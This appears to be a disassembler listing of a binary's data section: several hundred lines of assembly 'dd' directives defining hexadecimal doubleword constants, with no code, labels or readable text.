		dd 606718AEh, 7F420C28h, 0D610C125h, 165C0A07h,	7B096FB5h
		dd 5625B156h, 0E95CD8F2h, 669D3E75h, 0F58045CDh, 83132B37h
		dd 4C45DEEAh, 6B721637h, 0F077A9ADh, 5A68271Ch,	416031F2h
		dd 1978F616h, 0E1515ADDh, 34B8B498h, 0AAE5AFFDh, 0E8C13CE5h
		dd 2F597D70h, 0CF8A682Ch, 9B361941h, 3F52FEFh, 4A5C7840h
		dd 0E96F0C32h, 522259F5h
		dd 980668F8h, 5B02205Fh, 0C78C0072h, 0DA89398Eh, 0BBAACAE9h
		dd 4F5CA2FFh, 0DC144053h, 33013B23h, 4177E909h,	204CB8DAh
		dd 312F07CFh, 3F95DEFh,	2757C854h, 0BF7ED91h, 4A1657B6h
		dd 16D0B913h, 0CCD54AEFh, 60C50006h, 14AA049h, 24DCD48h
		dd 223E42CAh, 858089C1h, 6FFC15F3h, 0BE5095DFh,	12524F7Eh
		dd 793A826Eh, 0D1AD0504h, 8E7C9575h, 2696DF2Fh,	7A9D519Dh
		dd 6EA1EF91h, 86F33540h, 907D051Fh, 0E3F0094Dh,	7FF4BADh
		dd 0DD3BB12Ch, 0F9DADCBBh, 27526969h, 0CD42D351h, 5F3FB151h
		dd 135F5250h, 7689580h,	0A8A69133h, 17934945h, 4AF8522Dh
		dd 4A893694h, 444C5943h, 85E164h, 6B32F4B4h, 52BA445Ah
		dd 43581CF4h, 0FCE94506h, 7CB7E4h, 0E2C0DAF6h, 0EC28002h
		dd 0E93F2C4Bh, 669CC072h, 392E0BBEh, 0F51A3055h, 0E9148106h
		dd 936C2925h, 19E2A1C9h, 4520D15Fh, 0C9F1AF7Ch,	13DF616Ah
		dd 0A246787Ah, 6C2D4055h, 61960C08h, 310B68BDh,	892409B7h
		dd 0B3D17DFEh, 59FFD6AFh, 1FA2551Bh, 0ED5E2589h, 1F86164Bh
		dd 30A8E957h, 0EEC15924h, 0C867639Dh, 267AE7F6h, 381A256Fh
		dd 58EE292h, 20F1D14Bh,	4BD3A1C4h, 2EA7EC0h, 16525431h
		dd 0AB29A5E9h, 67B4C577h, 5502CB8h, 0B8CAE0A0h,	3B4A41A9h
		dd 7D2346FBh, 57952638h, 6B306B9Eh, 7C21153Bh, 84634A07h
		dd 0CA0713BBh, 46680BAFh, 0BC6630h, 19727CA4h, 8E6C14Eh
		dd 5D018B9Ah, 0A6058D83h, 0D570FB2Bh, 4BC498F0h, 9E4AAC0Dh
		dd 5FCE590Bh, 236B23C6h, 981FD8B5h, 0E2090B6Dh,	0CA7EF749h
		dd 6900C293h, 233D2EE4h, 3FA8B84Bh, 0BAF5B6Ch, 0EA83035Dh
		dd 6060008h, 1A11CA81h,	0ADA07B60h, 0AD169CDEh,	81133136h
		dd 514009AFh, 7D95F478h, 0BDCDB6h, 2F1AF42Bh, 0AB9ACE19h
		dd 0AAFCD9E4h, 67B47FDh, 0D759CAE1h, 0D179B460h, 5DCBC91Eh
		dd 45E92644h, 0FB5613AAh, 0D9EBE712h, 0BCD470DCh, 6B7E6D19h
		dd 0DB1B8D8h, 245FE9AEh, 0EF0F30F0h, 45F92859h,	26FCFD80h
		dd 7C36C2A7h, 45207E64h, 27417CC8h, 0D38019Ah, 7BF5558h
		dd 33020AFBh, 71374039h, 570E3B04h, 223CE50Fh, 0BFE00CEEh
		dd 2B692F41h, 0AA34E926h, 0DB080A2h, 0DFE3EF2Fh, 0AC60FEB2h
		dd 77CF79E1h, 327C82F5h, 0CCEF607Eh, 1F25095Ah,	657FE929h
		dd 1EC11674h, 6961196Bh, 0C5FC38D6h, 0DCBFF001h, 6E41C2BEh
		dd 35325C21h, 96E7F8D3h, 53F4E958h, 25DD2E52h, 455189EEh
		dd 28DAB07Dh, 36488A38h, 0D794EBDFh, 49F7054Fh,	0B3BEEA52h
		dd 0C7DACA36h, 0FA2986A0h, 0AA88310Ah, 8FB0B74Eh, 0A73E7C28h
		dd 9E12773Ch, 0B8C0E941h, 50C31655h, 28880F2h, 0AA8DE986h
		dd 555E2D74h, 5D0C515Bh, 5F6C9919h, 10C48A36h, 3508D23h
		dd 144D2848h, 0B1164FF7h, 0D7A92E6Ch, 39179CE4h, 2E825752h
		dd 4DC2F58Eh, 291551Dh,	8E05619Ch, 4BFD888Fh, 605713ECh
		dd 2F494FDAh, 0EF41795h, 39D714Fh, 96C1BFECh, 7205620Dh
		dd 0E64DAFF5h, 4C834660h, 0C63E50EEh, 0F5685000h, 5843555Ah
		dd 0D70FD597h, 907B63A7h, 19E94E7Eh, 0C0F4024Fh, 0A3684B8Bh
		dd 70B2C96Ah, 581AB197h, 59B655E9h, 49D9802Fh, 9718AD2Bh
		dd 0E6054E96h, 48383237h, 5CE2690h, 1042200Dh, 30625009h
		dd 88E7C20h, 0E3272F0Ch, 3CADB92Ah, 3B16E340h, 0C3E690BEh
		dd 2F2212ECh, 5BD20C00h, 0C1452568h, 0E90617E5h, 6EC6B195h
		dd 0FC6E4A39h, 3CD61728h, 5B24D5F7h, 3A300950h,	0E5BC872Ah
		dd 0A064953Bh, 0E03AC73Dh, 80C6AF90h, 0E9E6D161h, 3C98F50Fh
		dd 52FBC04Bh, 0A51A2424h, 2B356102h, 2E01579Ah,	6A5BDE21h
		dd 993F4B8h, 0E4D706B6h, 33E917A3h, 66B52843h, 0C9765649h
		dd 9C4DE2Ch, 0EE475E54h, 0C2A95693h, 9028E984h,	6BB5B85Eh
		dd 2738F94Dh, 0ED635858h, 0BDE2A06Bh, 7E5C3469h, 7417A7Fh
		dd 0EAF53F6Bh, 0A36A833Bh, 0EF803512h, 88D93804h, 0BD5532AFh
		dd 0F9F6D94Ah, 2727FAFAh, 84D9469Eh, 6372B7BCh,	4873CD87h
		dd 0EA450719h, 8FB00EBFh, 7AA9476Bh, 4A3450DDh,	19C4AEA8h
		dd 8BABA617h, 55A369DDh, 3D67DA44h, 86302C6Bh, 5EE580C5h
		dd 33E0B115h, 2B1E13F9h, 175249CCh, 0A3277868h,	362D79D9h
		dd 52AED40Bh, 9DC5CC55h, 7CBF6F78h, 0CFD0C75Bh,	5B8CC212h
		dd 5A39D15Dh, 3F0B1D67h, 0BE0EA050h, 0EA45FB21h, 7E3E39E7h
		dd 4F8B353Ah, 827766EAh, 2015AE07h, 0DBA4B5F6h,	0F14A3698h
		dd 0EA93EAE9h, 5D19F48Fh, 3058C8EAh, 50E5F00Fh,	4DB8507Eh
		dd 61CC6B12h, 54CA4BBh,	0FA78C809h, 824F0466h, 32ED8003h
		dd 9362EABAh, 54087C75h, 0B3356BDh, 217530EEh, 37E9562Eh
		dd 0AC6B3D75h, 0BAAB0161h, 0D589FD90h, 763AC07Bh, 1A274C10h
		dd 5866DE29h, 279C08E9h, 805A6601h, 0F16E65F7h,	3AF82FEBh
		dd 5859EA00h, 4C82C5Bh,	0D028781Dh, 56E913BAh, 0BE4BE5ACh
		dd 0EF4A8E8Ah, 0FA0DF68Dh, 9F50F020h, 8E925765h, 0B5513080h
		dd 0C5FE3933h, 0F580CD01h, 6FE828DFh, 578E9AFCh, 0A2E3FCC9h
		dd 2B055BC9h, 952D87B4h, 0E91892DAh, 0EDA1BD62h, 1D240DDEh
		dd 4882317Ch, 0C99E98C2h, 7848B70Ch, 0E5C024B3h, 8BAB0BF7h
		dd 537B27Fh, 92FEF0D2h,	25542DF3h, 6997D125h, 0E61D1B85h
		dd 53E90866h, 286242Dh,	7AD062FEh, 77A0377h, 32C59881h
		dd 0E3655099h, 0A4691F77h, 84EB0E2Ah, 293362E2h, 82086D4h
		dd 0D993B8B3h, 0DB2005B2h, 0BD615695h, 0B862D12Dh, 57FBCAF7h
		dd 5CF18A5Eh, 0FC6A34D1h, 2398E59Fh, 34A4487h, 0F641835Bh
		dd 4CF62D70h, 485F7D8h,	31B8F1A4h, 2DF9D8FBh, 0F341C909h
		dd 2075DE1Eh, 0F1E91A07h, 0A880AE4Ch, 5AAE6058h, 46DF84BFh
		dd 498DBB4h, 29D9DCBFh,	7468C3F3h, 0F7C27D27h, 6EFCAB0Dh
		dd 580ACF6Ch, 0FAE4308Dh, 5E1A98DCh, 0D7724380h, 0BF8C4549h
		dd 5008E650h, 4058572h,	0EDD11C48h, 1577B0ABh, 1CCC104Fh
		dd 677516BDh, 0F5FE0166h, 0C45A4426h, 2C9476E9h, 34D7310Fh
		dd 0C8A41E9Bh, 0DFBF499Dh, 1C5BF2EDh, 3E41FC2Fh, 50EF68B0h
		dd 0E0C6B947h, 172058C8h, 8404F06h, 0D9010C18h,	1603549h
		dd 8A2155FAh, 0B14E637Ch, 0F5746887h, 582F6BEh,	6A350637h
		dd 0F9CB9401h, 248295CAh, 1E624457h, 8B9A8DFh, 254FA724h
		dd 53BB7AB8h, 6AB700C6h, 586D7106h, 86DDF724h, 9D7B9900h
		dd 5E59E953h, 38C59289h, 484CE650h, 9235C0A5h, 4B60743Bh
		dd 82222D29h, 655FB0AAh, 48E25D2Fh, 0A2BE22D7h,	8CA1D663h
		dd 0F0936747h, 48B78AFAh, 0B77CDB56h, 0FF0BD566h, 0B87B955Fh
		dd 947E864Bh, 2C5A8839h, 0D58F5C09h, 0E5E87F6Eh, 78B95102h
		dd 7F295218h, 8BE12820h, 7F4BC416h, 25B11DB0h, 0EF788A7Bh
		dd 0DD262D12h, 14F1480Dh, 0F16BFCCDh, 4E4F6761h, 964D2091h
		dd 69206800h, 4CE19897h, 7FE12929h, 2F19A7F9h, 606B6865h
		dd 0EAFA5EA0h, 0A9F6B730h, 2D324608h, 0EE81F474h, 4B2E3D14h
		dd 6AFC67Bh, 0EB0CEFF6h, 0AE04AF41h, 15800FCFh,	0CEBF704Ch
		dd 0F4C2B7EDh, 0FB5FFB01h, 1870CF2Ch, 0EF1D3D2Eh, 0AD21054Dh
		dd 0BFDFF73Fh, 16686B78h, 90446F75h, 21E95277h,	0DAD225B7h
		dd 39AF0FBh, 8CBE58F8h,	88375B2Dh, 5FA52FB8h, 5C97CEE4h
		dd 0CD800C02h, 1D90EDDCh, 0D9084C2Fh, 0B78D98B3h, 0F4E4E630h
		dd 0CDEB08D7h, 0F6A13009h, 0E9F6D574h, 0CD0EF331h, 0FCB80EBh
		dd 2836B584h, 8B33590Eh, 0CDE9131Dh, 1EF90AAh, 2301080Dh
		dd 0CC5D9BB9h, 0A303177h
		dd 0A0035409h, 44A23AE7h, 29E8005Fh, 461EC420h,	4E5FA9Dh
		dd 0D5300DF6h, 9990150h, 813A1EA4h, 1AF4E43h, 0D86324BDh
		dd 15CFFE4Bh, 31CF680Bh, 0EB8C8359h, 4AB9B75Ch,	0DCCDAFE5h
		dd 3128AA2Fh, 225F4ABFh, 5FC1545Fh, 0F76600A3h,	4BFEF0E1h
		dd 0EA52CCA1h, 0BD3EBE41h, 0B656250Ch, 39336211h, 2F7A3DEBh
		dd 0D8F52D4Ah, 0EEA4020h, 0C13A2457h, 0F2C500B6h, 420147BCh
		dd 4C472B5h, 1A3097BFh,	0A04A8528h, 4E07B45Eh, 5BD4742h
		dd 812FA0EEh, 267854CDh, 5CE6D52h, 8804E5C1h, 0CEB46205h
		dd 3CE65912h, 0CC85EE27h, 0F1CABB55h, 6DCFE982h, 7FC13A57h
		dd 22242A9Bh, 52401780h, 2C5BF615h, 0C9BDFA09h,	0E8A98483h
		dd 40DDA082h, 2194957h,	0E9467101h, 7DE828C7h, 0B00013D2h
		dd 4ACE8152h, 0A031A821h, 0EC713BAEh, 6E0CC15Fh, 0F025C237h
		dd 0F5E80FE6h, 29F630C0h, 0BF10A801h, 35DA5D2h,	305825D7h
		dd 0C68BEB08h, 231E3EDDh, 42C78381h, 46F0DDF6h,	5DF80127h
		dd 79F7CA9Ah, 6E68500Fh, 0CE8C6554h, 59285592h,	9704AC0Ch
		dd 3A8C6866h, 645EE4AFh, 0FF78002h, 55AB8FE9h, 26E9F02Eh
		dd 0F8B97160h, 4BCA7F00h, 2B90E3BBh, 82FF957Ah,	0BC0C79Bh
		dd 40E0B54h, 2CF807ABh,	0B6B85B44h, 64F68B0h, 82C91294h
		dd 7C570A82h, 0CAD56272h, 66F02800h, 15B755Ah, 48B753D8h
		dd 0EC01EF80h, 5626B652h, 8D128050h, 0B5DBBC55h, 687C70BBh
		dd 7DB3012Ah, 0F57CF02h, 4227604Fh, 2C450973h, 208EEFC1h
		dd 0CD6FB461h, 781A7E67h, 53FE766Ah, 533884F1h,	53C0B86Fh
		dd 0B9907A96h, 0D561C50Fh, 22BB207Eh, 0BD123E02h, 408BF5AEh
		dd 80CC368Ch, 0F4977F70h, 75697A68h, 3A09C06Eh,	0F94EC19Fh
		dd 0C1C9FD3Eh, 64462D66h, 0EEF829D0h, 0E90EC405h, 5FD4B8BCh
		dd 1E8585E9h, 0E9B08060h, 0A6A6AA63h, 0F368590Bh, 7A5C301Ah
		dd 0C20C75Ch, 1A1F2F9h,	0B50555C6h, 0ACE58092h,	0FD772382h
		dd 0D0C220Ch, 9DD1E915h, 0C6E7029Eh, 753E0766h,	94A5CCA2h
		dd 0FE69AAD4h, 395CF1D5h, 0F404D6B7h, 5F0BD59Ah, 6073C86h
		dd 4E1055Eh, 75EB3B60h,	0B452F377h, 0B7426BA6h,	0CEED46E4h
		dd 7D6F3C07h, 0DEEBA07Ah, 57149927h, 41D4CB01h,	24997F08h
		dd 35203FF0h, 0BD0C7C8Dh, 0E6635012h, 4E88B3B6h, 3076CC2Bh
		dd 0F32B2641h, 7C710B3h, 0CB20B11Dh, 0E1FE3466h, 0DE5E94A8h
		dd 0FBF6FFC5h, 0FB936484h, 0FC7BAC8h, 0F84A3AA9h, 48890A5h
		dd 162A9178h, 825F46BDh, 0CD7756EEh, 551132Fh, 0C5289799h
		dd 4834F892h, 1E3B2019h, 9D1315Bh, 0A3A049A3h, 973284C7h
		dd 42E65398h, 0C6BC830h, 2F9650F0h, 0E5F82971h,	0C400883h
		dd 2ACF5D14h, 76C96485h, 31A3ACC7h, 50D79EDh, 0E9C60CBAh
		dd 75C1F83Fh, 0A02B502Ch, 9075193h, 0F5B7DE88h,	7013767Bh
		dd 3175F8BAh, 64B06E5Eh, 0D6C29FC5h, 0A8AB9C7Dh, 4C42F534h
		dd 0C91ED4EDh, 8596FBh,	6E56E90Ch, 519F3CD7h, 0A8F05287h
		dd 0B2764B12h, 9B513F0h, 109160Dh, 42376AD5h, 2F30454Eh
		dd 198F5787h, 32E010D5h, 234894Ah, 0C85475E8h, 0D641FB60h
		dd 916906Ch, 1242360Bh,	0F617037Fh, 2D4825F1h, 7E5E8749h
		dd 7FFE6761h, 64E45902h, 0EC4F47F4h, 40AC7FA4h,	8225686Ah
		dd 770F1219h, 966216h, 8274650Bh, 548DC75h, 3C5C005Ch
		dd 5E7CC872h, 124AE7ECh, 5456E822h, 0E3D22D23h,	430BB391h
		dd 8B5551A3h, 2FC8031h,	3DA13A47h, 88DA010Eh, 572508E8h
		dd 4DAB0713h, 0D277324Eh, 4AB910D2h, 0C0F25F25h, 0E42A212Dh
		dd 0CEB90507h, 0EE073858h, 0F8E3FDC2h, 9A6CB797h, 0DE5EE7F8h
		dd 0C05B44FBh, 0CFA13D4h, 0CE1BE1EBh, 86AFA2D3h, 84090CBDh
		dd 766BC04Ch, 0BD70C514h, 3B8C4111h, 0E9C328AEh, 6458F72Dh
		dd 46F3A109h, 87189E78h, 0C5F9AADDh, 4716DBA8h,	3C512F96h
		dd 5F4BB05h, 277369B1h,	57F70BFFh, 0B92C2BC5h, 865EC900h
		dd 4FFE0927h, 70AAFD5Fh, 0E7DF6012h, 595E5E09h,	65E0255Ch
		dd 2AB10184h, 4BD4888Eh, 0E4387EE7h, 4A51EC76h,	1B248EAh
		dd 0F5A42C12h, 28ADBBE1h, 2F1B7FC8h, 83E1603Eh,	5D0842C1h
		dd 949CCD6h, 0C4EEC403h, 947D4BECh, 709D0522h, 0BA31FBB5h
		dd 0AC282790h, 4BD4E997h, 0AA92C5AFh, 6DC6BEA2h, 0F2041D24h
		dd 70774A48h, 0AF1A90EBh, 0ED1272CEh, 815EE9h, 0E3C192B4h
		dd 9F2A4630h, 0FB5A4376h, 854C17E2h, 0C2A3A700h, 0FF5833E9h
		dd 66278DDBh, 60B125EBh, 90224CDFh, 5D5922ABh, 0F3792D90h
		dd 0FEA0413Eh, 481C519Fh, 885DC9C3h, 2C65342Eh,	0FCF9FB0Bh
		dd 30C62083h, 802E174Fh, 0DCB7D8EBh, 0C1686162h, 0C3983A2Bh
		dd 85519753h, 8520E3A8h, 5DDDFEB4h, 2C80E622h, 0E9627032h
		dd 1A35C635h, 872AE9A1h, 0E1EFB53Bh, 9ED6A61h, 467BFD2h
		dd 0BB86D6C9h, 4203ED3Ah, 0CD01771Dh, 0E9081C40h, 0DAD96125h
		dd 0E0085E55h, 9BBFBA19h, 4974C108h, 0CCD5C92Eh, 0FFEAE3EFh
		dd 48019DA0h, 0DA79A925h, 1260092Ch, 15D464Eh, 19E2BFDCh
		dd 7A1C2F0h, 2911A536h,	854EEEAh, 0E36BE90Bh, 0C41DEC4Bh
		dd 559450A6h, 24C3DD2h,	0E95643F2h, 270F5C9Ch, 2E04C77h
		dd 28F8BB53h, 4DC047A7h, 8C0C363Eh, 0A2DBF757h,	5E2977A6h
		dd 10A2EC4Eh, 2D028B0Fh, 803EF874h, 631582FDh, 9C780B47h
		dd 0D8A66839h, 0BA52C00Fh, 2EDA5A1Dh, 12D04229h, 4DDF338h
		dd 32351BEAh, 0B803D82h, 0D0F760E0h, 2F2CD4C0h,	0D097CDEh
		dd 0CB5BE9C8h, 3EE8C124h, 0F86F97D9h, 0A2BEE4BFh, 685C056Dh
		dd 4F42079Fh, 0E38011B7h, 87CF99DDh, 5101342Ch,	0E1C08BB1h
		dd 0EFBC2F07h, 20ECB704h, 1B81EFF9h, 45020262h,	7C92C1h
		dd 9D1C8B5Ah, 5AF8BCDCh, 0E9D40BF6h, 0ECF69DCEh, 70FB89E2h
		dd 778F0B37h, 28D50FA5h, 162F087Fh, 40BB206Ch, 8A907D95h
		dd 0F68226C1h, 14689DD7h, 0FED0BD54h, 0D36CF31Dh, 0F803AB64h
		dd 0BCAAE94Eh, 94B682D8h, 8CB803AEh, 68D9941Ch,	160BA68Dh
		dd 1BCD5D12h, 0B738B620h, 21A4E445h, 2AAB5296h,	485C2D50h
		dd 412E0BEh, 0B2E99598h, 0D1CFA833h, 10DA48B1h,	0B95FFC16h
		dd 6C2918E5h, 781492Ah,	8F3F0DE1h, 0B0A3C473h, 37A168E0h
		dd 0CEB17A58h, 4334AB2Fh, 0E6560AC2h, 0A0E68534h, 0A61F4BDCh
		dd 0C4A7AFBh, 9E563B16h, 8B0839FAh, 7557DF2Fh, 0E98632CDh
		dd 0B4E8E4Eh, 145D6893h, 7274F1B0h, 0D7189627h,	2F71C800h
		dd 409D3427h, 901A6697h, 0D5CB4C96h, 43250F73h,	0F3E0452Ch
		dd 0A6BC9731h, 468EE92Eh, 2FDEBD81h, 0F3304617h, 75EEF5FEh
		dd 0E92C0D9Ch, 7DAF87DBh, 61D83390h, 0A937A09Fh, 5A4AA740h
		dd 4303BA21h, 0C43A1CC5h, 0B7C15AC4h, 5FCDD537h, 4DC6F961h
		dd 88C72003h, 2D895EE2h, 0F15A205Fh, 7ABE5497h,	0B71B967Fh
		dd 5051667Ch, 27AA2930h, 83412B7Bh, 0C58D8163h,	336509D9h
		dd 27853F21h, 0EB949630h, 133EAB88h, 120DD87Eh,	0E7B580E6h
		dd 1AF84979h, 2E03ECEDh, 105B817h, 40BB8912h, 0A0663A5Bh
		dd 68165D0Dh, 9EF87196h, 9AC8A9A4h, 0AD59FFACh,	4B8D947h
		dd 987D6F7h, 0F897C5Bh,	7C095141h, 8AF32CE0h, 923C040Eh
		dd 478332E9h, 0E8515166h, 0D3AC479Fh, 5A60EC1Ch, 0C22837AFh
		dd 70E417A5h, 0C692DB5h, 5F75416Ah, 7A645468h, 0B847D8h
		dd 1CA8087Dh, 0B404AE2Dh, 0D6056100h, 0E96FE03Ah, 29BC09h
		dd 0AD4D3540h, 0F0974883h, 39449F11h, 0AB004A90h, 524A6206h
		dd 1360D768h, 0BE5A6B43h
		dd 0D7D1AB09h, 76947D02h, 0DA10BBD5h, 28ED6864h, 0EC5B5ED9h
		dd 75B307DEh, 67DEF380h, 0D30512C3h, 2CE12CBAh,	9F26E4Ch
		dd 5089E99Dh, 8EF4BF3Bh, 4EED645Ah, 762B987h, 356D3112h
		dd 7456E1A2h, 9524B705h, 1615A37Bh, 154D93A5h, 1EE5FA88h
		dd 3C37463Bh, 53096F87h, 162FE068h, 4E3D9874h, 0B8150126h
		dd 7E1E08F9h, 2DC7A207h, 0C9E97250h, 707495EDh,	56C90347h
		dd 90A2698Ch, 0F65D1068h, 33276393h, 44B92827h,	0C2F3335Fh
		dd 13B9DA9Fh, 82522EC4h, 5F27F6B9h, 85B4CD5h, 37267FD0h
		dd 0E9C4511Fh, 0DCA4D233h, 74BE0456h, 0AC2DE221h, 0B11A6006h
		dd 48C9FE92h, 500BFFC0h, 9207CC88h, 0AF8E5953h,	0B86055ECh
		dd 0A5402B00h, 5D8F70Eh, 4F927A23h, 73DEED73h, 51F886A0h
		dd 0BB651329h, 2C91DA08h, 98E1F45h, 4A800EC7h, 0AF406403h
		dd 0C3FCE3BFh, 6BF2D904h, 0C109EBD0h, 85E2E00Ch, 47D02A40h
		dd 612D70E3h, 5CEB4082h, 2A02C129h, 8D40DBB2h, 0BE081F16h
		dd 57CD9FD4h, 3A02A1FBh, 0F5206D16h, 60705472h,	0E08D0C38h
		dd 0E93D1483h, 1D4ADA3Fh, 2897B676h, 6D9DB104h,	0C27F2D09h
		dd 49A85FDh, 0E3DC1AACh, 0F2CBFEA5h, 61F385C0h,	762A999Fh
		dd 0F58001E6h, 8EDCC50h, 19E31F6h, 22FEFAA5h, 0CE8064F4h
		dd 98B71ADEh, 834618A6h, 2E25A4E9h, 0FE4CDDF2h,	0E00601B5h
		dd 604AB969h, 904BE710h, 0CC1E9E8h, 7B644E71h, 2989B1A3h
		dd 0BC373D5h, 8CE6217h,	68BFE4F6h, 37D69FAh, 0CE814276h
		dd 0A8AC5153h, 77A501FAh, 0ABE93B63h, 0FED10E6Fh, 0ECC5929Ch
		dd 3F7E38EBh, 5A39BBDDh, 0B9E9CACh, 1C5BB84Ch, 9220708h
		dd 3700EFD1h, 71377DC1h, 55760097h, 2C0A08BDh, 1F390F44h
		dd 0F91F0B27h, 80488957h, 351B863Ah, 82CFF27Fh,	45250756h
		dd 78BA282Ch, 5880E044h, 0AF5FD7E9h, 0D80B1A65h, 0C565B2E0h
		dd 0EA7FE9BEh, 8EE47FE2h, 0C6BCB890h, 769DB522h, 4EB9F895h
		dd 6007529Ah, 35136B1Bh, 25F491Fh, 0A083FBh, 1092CD81h
		dd 4D05671Fh, 2BE5C613h, 243E3620h, 2D602CAEh, 7957A27Dh
		dd 67CD7F75h, 115E86A0h, 8B9F55B3h, 45729FE3h, 19685109h
		dd 1A31FD6Ah, 4F90742h,	0CAE82E7Eh, 6C46175h, 0C0890472h
		dd 42E92CE8h, 0D10796AFh, 0DD0F790h, 621DFAC2h,	35A7CE7Dh
		dd 85C5CC85h, 0BAAC417Dh, 30EF45C6h, 0C268EA2Eh, 5000E60Dh
		dd 1321278h, 6DE914DEh,	16DCB715h, 55E12CBh, 0F86F778Eh
		dd 5F16C493h, 0CBDF010Fh, 0E8215CEFh, 0D138EDBEh, 0D6DC714Eh
		dd 2FDDF95Fh, 0E9F61B98h, 0A4A3759Dh, 16843369h, 0E319CAEh
		dd 0B4027692h, 6E4C08Ch, 0F5447753h, 0CED41CB2h, 78B2812Ch
		dd 26252938h, 5CAC647Ch, 0E9AED1BDh, 58201AF2h,	50B90420h
		dd 0AFC00BA6h, 0D1AAC6C5h, 445D2CAh, 0A24E20ABh, 0FE27331Eh
		dd 0CED6E029h, 93170413h, 0AE6FE947h, 440F3652h, 50DD00B5h
		dd 9507E6C1h, 0F2464F6h, 0A69C7900h, 0B0F729ACh, 4165CBAFh
		dd 521E0D5Eh, 51752C8Bh, 0F2BB01F8h, 3A19DA6Ch,	10A0A8FCh
		dd 0E65F2593h, 0AF3C7AFCh, 0E929DD05h, 0BCED5695h, 2BF6A1DAh
		dd 8992412Bh, 3F0C017Dh, 0D4B4D0C0h, 0A60B5113h, 0E98EE42Eh
		dd 52B7652Dh, 305109B6h, 8386233Ch, 0F227A5E0h,	6899C25Eh
		dd 16BF574Ah, 0BF660932h, 84DDD209h, 4BA19A4h, 8D457A12h
		dd 0BD467E46h, 1658770h, 1B07D4F1h, 22CA2125h, 0C1ACD3C9h
		dd 2EA41201h, 6B3E9F68h, 0E5F3BF31h, 0F49202Fh,	7C97C8B7h
		dd 0B28AE345h, 0B9C56F03h, 0DC4B7A5Ah, 4E9034C5h, 39805BF9h
		dd 14EE0BC1h, 0C9FEF1C7h, 5AEAF278h, 96E9ADBCh,	3BE91797h
		dd 1902E953h, 4834A8B0h, 0A6481F1h, 0B5F39554h,	54F6270Bh
		dd 0DFB082D5h, 8F573E76h, 226BCBD6h, 59C68891h,	0BDE9E1F6h
		dd 23423E69h, 0C0CA146Dh, 1F20E70Ch, 0B3C8E56h,	0E05E04F7h
		dd 0C3028A24h, 5751EC45h, 250820A8h, 0A4987866h, 0E100A35Bh
		dd 640F2FBBh, 0D801265Eh, 90721659h, 327E9B77h,	5821652Dh
		dd 7A4220D1h, 1F2440C4h, 21EDDCFBh, 0BB1C4F28h,	3FC8DF5Eh
		dd 41753268h, 0E6E8D3CFh, 5216554Ah, 0D9BE5A5Dh, 8B66ADBEh
		dd 61727BF5h, 3F6A92E9h, 915F138Fh, 2DF541h, 163D07BDh
		dd 3563EF9h, 60993B9h, 8DD0BB94h, 161690C5h, 0BF291496h
		dd 2508C910h, 0D0A2785Eh, 600E204h, 811F9D48h, 417A63F6h
		dd 7B4Ch, 17AF914Ah, 0D4E218E9h, 3B10FAE2h, 5A58159Bh
		dd 5F65C4EBh, 71C5560Eh, 6DA6FA3Ah, 1482EF4Bh, 0B5335896h
		dd 68860EC5h, 4F512A44h, 302D0049h, 0EE8858E5h,	992C5903h
		dd 266FCD68h, 0A5FDD625h, 0EADE83D5h, 0B24B8B41h, 0F88D729h
		dd 0E95B0608h, 2D055D3Ch, 0A837524h, 62F6E2AEh,	0D4F9F7A7h
		dd 0BF7F303Dh, 2D2D5296h, 3CDED606h, 99D55409h,	4BDFBC82h
		dd 504B4476h, 69C438D6h, 8275AE5Ah, 40213E00h, 38E931B6h
		dd 0F95F15DEh, 5A0BD3BCh, 352F9072h, 0C6734C42h, 2CDAEB02h
		dd 2554A44h, 27025B0h, 5C40C328h, 56990BF8h, 4B08C4ADh
		dd 0FD9BFB54h, 0ECE95505h, 0BFE8538Ch, 53921844h, 5A284ECCh
		dd 30A592F3h, 681C3AD0h, 772538E0h, 0AF8745h, 7B7D3FACh
		dd 69E2B901h, 0B2803370h, 93BDC8BCh, 0F8A8C207h, 0AC5C5F80h
		dd 4A9AB662h, 6F8CBF9Bh, 9ED40BFh, 0C288179Eh, 0F5DC2F1Ch
		dd 0E6088401h, 56F015Ch, 0AE202E0Ah, 0C720369h,	55D862D3h
		dd 8247E5DDh, 79127210h, 342B0941h, 0E70B80CEh,	85CFFE1Ah
		dd 5B317CAFh, 2D00F666h, 79037D6Dh, 8C35404Bh, 0E8E0A2EEh
		dd 0AA215F9Eh, 5112A186h, 0EDF13CB1h, 0B7427364h, 0C20B84C4h
		dd 5A187E3h, 0CFD25A78h, 1AE75D5Bh, 0C340CFA8h,	0BA0F64B8h
		dd 0D21C070h, 65488F03h, 0A82700A3h, 0D009FB36h, 9F05005Ah
		dd 0E950B161h, 0E59E580Ch, 59CFE353h, 4E787955h, 483E0968h
		dd 72B9455h, 72D50C35h,	0B5589B83h, 2D4AC624h, 612F6788h
		dd 7A2038BDh, 412D2EE0h, 20FAD988h, 0C69D3230h,	15490952h
		dd 0F05F30A8h, 3B4C12CEh, 55B8C4h, 6B11501Bh, 0D799C0E9h
		dd 0F852E144h, 1E3F4ECAh, 6BF6E1CCh, 0C81CD9Fh,	0BD55AAEEh
		dd 53B53B37h, 4C820804h, 12D70B80h, 3319FD60h, 40AA0C59h
		dd 0E700BBC5h, 8143AE67h, 244745CBh, 0F22AD9h, 657429FCh
		dd 49553E9h, 0B5FEBF70h, 546A21A0h, 7FB3FBE7h, 70F73697h
		dd 0D2E6D24Fh, 0F329EA13h, 1B871267h, 0D5C2B953h, 86A371F2h
		dd 20706AE9h, 0D1FD595Ah, 0DD795D8Bh, 9893615Ah, 60AED249h
		dd 0AE730950h, 0C5409674h, 1F2F64CCh, 0CDEF29E0h, 601E9715h
		dd 5A811AD6h, 0B705BB2Ah, 0B65778D7h, 0AF686780h, 0AD6AE161h
		dd 859091FFh, 7DA8E3E9h, 0ADD2AE96h, 57EFCA03h,	6612235Ch
		dd 315D4D5Fh, 0CE8149ECh, 16B75B0Ah, 26D01F30h,	13D82959h
		dd 28FDB16Fh, 6DCBDE25h, 6FC8F40Dh, 8006F2B2h, 2614AFEh
		dd 0E9DD0987h, 0D5CE3AF9h, 897B4595h, 0D166460Ch, 4BCA020h
		dd 2E7310BBh, 20728278h, 0F73CF160h, 2AE9DB08h,	0FBA0103h
		dd 6F2C1306h, 30A83C17h, 0C0A7C83Bh, 822F9655h,	77D40280h
		dd 1FAA0EECh, 129FA8C5h, 0F8D02A56h, 2B18745Dh,	4A0C15F4h
		dd 40BC2C45h, 1628344Ah, 9B520908h, 55C105Ah, 7727072Ch
		dd 14E279FDh, 5074480Eh, 35AD2E4Bh, 218002FDh, 0EC15D71h
